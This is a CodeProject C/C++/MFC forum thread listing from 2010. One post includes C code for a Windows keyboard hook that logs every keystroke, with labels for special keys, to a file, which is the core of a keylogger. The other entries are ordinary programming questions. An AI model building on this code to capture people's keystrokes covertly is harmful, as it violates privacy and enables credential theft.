Click here to Skip to main content
15,886,963 members
Home / Discussions / C / C++ / MFC
   

C / C++ / MFC

 
AnswerRe: Create Handle on Remote Disk or Volume Pin
Michel Godfroid22-Apr-10 7:34
Michel Godfroid22-Apr-10 7:34 
QuestionMigrating code from VS6 to vs 2008 Reloaded Pin
Jim Crafton22-Apr-10 5:18
Jim Crafton22-Apr-10 5:18 
AnswerRe: Migrating code from VS6 to vs 2008 Reloaded Pin
Joe Woodbury22-Apr-10 8:23
professionalJoe Woodbury22-Apr-10 8:23 
GeneralRe: Migrating code from VS6 to vs 2008 Reloaded Pin
Jim Crafton22-Apr-10 8:24
Jim Crafton22-Apr-10 8:24 
GeneralRe: Migrating code from VS6 to vs 2008 Reloaded Pin
Maximilien22-Apr-10 10:14
Maximilien22-Apr-10 10:14 
GeneralRe: Migrating code from VS6 to vs 2008 Reloaded Pin
Jim Crafton22-Apr-10 10:17
Jim Crafton22-Apr-10 10:17 
QuestionClass View - "Add" menu item is missing for some classes. Pin
Mike Doner22-Apr-10 4:54
Mike Doner22-Apr-10 4:54 
Questionwindow handle of a key pressed Pin
Srivathsa_22-Apr-10 3:55
Srivathsa_22-Apr-10 3:55 
HI all,
I'm trying to intercept keys pressed from a keyboard..
I'm doin it in C(win32), using VS2008 IDE
I'm not able get the window handle of the key pressed.. i want to build a hierarchy from this handle by next calling the GetParent() till the application window..
Not able to find the first handle.. stuck up here since a week..
Also, i 'm not able to intercept combination keys like, CTRL+A, ALT+F etc., & since 'm using keydown & so not able to restrict series of CTRL, ALT, CAPS_LOCK keys, wherin i need just a single entry for such keys..
'm posting the code below..


__declspec(dllexport) LRESULT CALLBACK KeyBoardProc(int Code, WPARAM wParam, LPARAM lParam)
{
	if ( Code < 0  ) 
		return CallNextHookEx(hKeyHook, Code, wParam, lParam);
 
	if( Code == HC_ACTION && !(lParam & (1 << 31)) )
                  ProcessKey(wParam, lParam);
 
	return CallNextHookEx(hKeyHook, Code, wParam, lParam);
}
 
DWORD ProcessKey(WPARAM wParam, LPARAM lParam)
{
	BYTE KeyBoardState[256];
	WCHAR TempBuffer[50];
 
	int Index, RepeatCount = 1;
 
	hActiveWnd = NULL;
	hActiveWnd = GetActiveWindow();
 
	switch(wParam)
	{
	case VK_RETURN:
		WriteToLog(L"\n"); // writing key pressed to file
		break;
 
	case VK_TAB:
		WriteToLog(L"[TAB]");
		break;
 
	case VK_BACK:							
		WriteToLog(L"[BS]");
		break;
 
	case  VK_CONTROL:
		if(lParam & 0x01000000)	//scan code :scan code 24th bit is high right alt key is pressed
			WriteToLog(L"[RCTRL]");
		else
			WriteToLog(L"[LCTRL]");
		break;
 
	case  VK_SHIFT:
		if(lParam & 0x040000)	//scan code
			WriteToLog(L"[RSHIFT]");	//Right Shift:1[1]0[1]100000000000000001->0x36
		else
			WriteToLog(L"[LSHIFT]");	//Left Shift :1[0]1[0]100000000000000001->0xAA
		break;
 
	case VK_MENU:
		if(lParam & 0x01000000)	//scan code :24th bit is high right alt key is pressed
			WriteToLog(L"[RALT]");
		else
			WriteToLog(L"[LALT]");
		break;
 
	case VK_LEFT:
		WriteToLog(L"[LARROW]");
		break;
 
	case VK_RIGHT:
		WriteToLog(L"[RARROW]");
		break;
 
	case VK_UP:
		WriteToLog(L"[UPARROW]");
		break;
 
	case VK_DOWN:
		WriteToLog(L"[DOWNARROW]");
		break;
 
	case VK_ESCAPE:
		WriteToLog(L"[ECS]");
		break;
 
	default:
		GetKeyboardState(KeyBoardState);
		UINT ScanCode = lParam & 0X00FF0000;
 
		memset(TempBuffer, 0, sizeof(TempBuffer));
 
		ToAscii(wParam, ScanCode, KeyBoardState, (LPWORD)TempBuffer, 0);
 
		WriteToLog(TempBuffer);
 
		break;
	}	//end of switch		
 
	return TRUE;
}





Any suggestions would be of great help..

look fwd to ur help....
thank yu Smile | :)
AnswerRe: window handle of a key pressed Pin
Code-o-mat22-Apr-10 4:46
Code-o-mat22-Apr-10 4:46 
GeneralRe: window handle of a key pressed Pin
Srivathsa_22-Apr-10 4:48
Srivathsa_22-Apr-10 4:48 
AnswerRe: window handle of a key pressed Pin
Stephen Hewitt22-Apr-10 5:11
Stephen Hewitt22-Apr-10 5:11 
QuestionHow can I change an icon on toolbar dynamically Pin
Software200722-Apr-10 3:06
Software200722-Apr-10 3:06 
AnswerRe: How can I change an icon on toolbar dynamically Pin
Eugen Podsypalnikov22-Apr-10 3:26
Eugen Podsypalnikov22-Apr-10 3:26 
GeneralRe: How can I change an icon on toolbar dynamically Pin
Software200722-Apr-10 4:18
Software200722-Apr-10 4:18 
GeneralRe: How can I change an icon on toolbar dynamically Pin
Eugen Podsypalnikov22-Apr-10 4:21
Eugen Podsypalnikov22-Apr-10 4:21 
GeneralRe: How can I change an icon on toolbar dynamically Pin
Software200722-Apr-10 4:46
Software200722-Apr-10 4:46 
GeneralRe: How can I change an icon on toolbar dynamically Pin
Eugen Podsypalnikov22-Apr-10 4:53
Eugen Podsypalnikov22-Apr-10 4:53 
GeneralRe: How can I change an icon on toolbar dynamically Pin
Software200722-Apr-10 5:06
Software200722-Apr-10 5:06 
GeneralRe: How can I change an icon on toolbar dynamically Pin
Eugen Podsypalnikov22-Apr-10 5:28
Eugen Podsypalnikov22-Apr-10 5:28 
Questionstd::string format Pin
gmallax22-Apr-10 2:03
gmallax22-Apr-10 2:03 
AnswerRe: std::string format Pin
Cedric Moonen22-Apr-10 2:18
Cedric Moonen22-Apr-10 2:18 
AnswerRe: std::string format Pin
Stuart Dootson22-Apr-10 5:09
professionalStuart Dootson22-Apr-10 5:09 
QuestionFind the windows Pin
Cvaji22-Apr-10 0:13
Cvaji22-Apr-10 0:13 
AnswerRe: Find the windows Pin
Code-o-mat22-Apr-10 0:21
Code-o-mat22-Apr-10 0:21 
GeneralRe: Find the windows Pin
Cvaji22-Apr-10 0:31
Cvaji22-Apr-10 0:31 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.